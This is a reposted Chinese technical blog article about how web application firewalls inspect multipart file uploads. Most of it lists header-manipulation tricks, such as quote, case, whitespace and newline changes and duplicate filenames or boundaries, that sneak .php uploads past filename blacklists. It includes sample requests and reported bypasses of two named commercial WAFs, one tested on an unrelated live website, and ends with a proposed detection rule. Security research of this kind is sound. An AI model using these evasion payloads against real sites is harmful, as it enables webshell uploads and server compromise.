bp上传php文件,【技术分享】文件上传和WAF的攻与防

本文深入探讨了文件上传的HTTP请求特征,分析了WAF如何通过检查文件名和内容来防御恶意上传。列举了多种绕过WAF的技巧,包括修改Content-Disposition和Content-Type的值,利用大小写、空格、额外字符等进行混淆。同时,文中给出了针对某WAF产品测试的实例,展示了其拦截机制的漏洞,并提出了更严谨的规则编写建议。
摘要由CSDN通过智能技术生成

1

前言

本文的测试环境均为

nginx/1.10.3

PHP 5.5.34

有些特性和语言及webserver有关,有问题的地方,欢迎大家指正。

2

文件上传的特征

先来了解下文件上传的特征,抓包看看这段文件上传代码的HTTP请求。

upload.php

         

请求

POST /upload.php HTTP/1.1Host: localhostContent-Length: 274Cache-Control: max-age=0Origin: http://localhostUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTxUser-Agent: Mozilla/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2Connection: close------WebKitFormBoundaryuKS18BporicXJfTxContent-Disposition: form-data; name="file_x"; filename="xx.php"<?php  phpinfo(); ?>------WebKitFormBoundaryuKS18BporicXJfTxContent-Disposition: form-data; name="submit_x"upload------WebKitFormBoundaryuKS18BporicXJfTx--

从中获取特征为:

请求Header中Content-Type存在以下特征:

multipart/form-data(表示该请求是一个文件上传请求)

存在boundary字符串(作用为分隔符,以区分POST数据)

POST的内容存在以下特征:

Content-Disposition

name

filename

POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary

最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

3

WAF如何拦截

先来想想,如果自己写WAF来防御恶意文件上传。你应该如何防御?

文件名

解析文件名,判断是否在黑名单内。

文件内容

解析文件内容,判断是否为webshell。

文件目录权限

该功能需要主机WAF实现,比如我见过的云锁。

目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。

大致步骤如下:

获取Request Header里的Content-Type值中获取boundary值

根据第一步的boundary值,解析POST数据,获取文件名

判断文件名是否在拦截黑名单内

看看春哥写的这个解析文件上传的代码【https://github.com/agentzh/lua-resty-multipart-parser/blob/master/lib/resty/multipart/parser.lua】,就能理解了,不过这份代码已经没维护了。但是这份代码解析了文件名,只是绕过方式比较多233。

lua-resty-upload【https://github.com/openresty/lua-resty-upload】这份代码还在维护,不过只是取了内容,文件名需要自己解析。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="file_x"; filename="xx.php"Content-Type: text/javascript<?php  phpinfo(); ?>------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="submit_x"upload------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

返回

read: ["header",["Content-Disposition","form-data; name="file_x"; filename="xx.php"","Content-Disposition: form-data; name="file_x"; filename="xx.php""]]read: ["header",["Content-Type","text/javascript","Content-Type: text/javascript"]]read: ["body","<?php  phpinfo(); ?>"]read: ["part_end"]read: ["header",["Content-Disposition","form-data; name="submit_x"","Content-Disposition: form-data; name="submit_x""]]read: ["body","upload"]read: ["part_end"]read: ["eof"]read: ["eof"]

4

绕过

获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"和Content-Type里,所以绕过的地方也就在这两个地方了。

4.1去掉引号

Content-Disposition: form-data; name=file_x; filename="xx.php"Content-Disposition: form-data; name=file_x; filename=xx.phpContent-Disposition: form-data; name="file_x"; filename=xx.php

4.2 双引号变成单引号

Content-Disposition: form-data; name='file_x'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

4.3 大小写

对这三个固定的字符串进行大小写转换

Content-Disposition

name

filename

比如name转换成Name,Content-Disposition转换成content-disposition。两年前,拿它绕过安全狗的上传,不知道现在如何。

4.4 空格

在:;=添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。在filename=后面添加空格,截止到2017年10月04日还能绕过「某盾」WAF。

4.5 去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。两年前,拿它绕过安全狗的上传,不知道现在如何。

Content-Disposition: name='file_x'; filename='xx.php'

4.6 交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file_x

4.7 多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="file_x"; filename="test.txt"Content-Type: text/javascript<?php  phpinfo(); ?>------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="file_x"; filename="test.php"Content-Type: text/javascript<?php  phpinfo(); ?>------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="submit_x"upload------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

4.8 多个filename

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"

4.9 多个分号

文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

4.10 multipart/form-DATA

这种绕过应该很少,大多数都会忽略大小写。php和java都支持。

Content-Type: multipart/form-DATA

4.11 Header在boundary前添加任意字符

这个只能说,PHP很皮,这都支持。试了JAVA会报错。

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

4.12 filename换行

PHP支持,Java不支持。截止到2017年10月18日,这个方法能绕过「某盾」。

Content-Disposition: form-data; name="file_x"; filename="test.php"

这种PHP也支持。

filename

4.13 name和filename添加任意字符串

PHP上传成功,Java上传失败。

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";

4.14 其他

其他利用系统特性的就不描述了,不是本文重点。有兴趣可以看下我的Waf Bypass之道(upload篇)【https://www.jiwo.org/ken/detail.php?id=716】。

5

案例测试

5.1 「某盾」

测试了「某盾」WAF对恶意文件上传的拦截。方法比较粗暴,判断如下:

判断POST数据是否存在Content-Disposition:字符串

判断filename的文件名是否在黑名单内

两者满足就拦截,没有做其他多余的判断,正则也很好写。

测试:curl -v -d "Content-Disposition:filename=xx.php;" www.victim.com拦截这种方式确实有误拦截情况。不过截止到2017年10月04日,某盾的上传还是能够通过在filename=后面添加空格进行绕过。POC:Content-Disposition: form-data; name="file_x"; filename= "xx.php";

下面这种也能绕过。

Content-Disposition: form-data; name="file_x"; filename="test.php"

5.2 ucloud

先找一个用了UCloud WAF的网站测试。

拦截

Content-Disposition: form-data; name="file_x";filename="xx.php"

去掉form-data绕过

Content-Disposition:  name="file_x";filename="xx.php"

其他的就不测试了…

6

How to Play

看了这么多,那规则到底应该如何写。我个人想法如下:

由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。

POST数据去掉所有换行,匹配是否有Content-Disposition:.*filenames*=s*(.*php)类似的规则。

这只是我的个人想法,如果有更好的想法,欢迎交流讨论。

7

Reference

WAF攻防研究之四个层次Bypass WAF

【http://weibo.com/ttarticle/p/show?id=2309404007261092631700&infeed=1】

1

END

1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值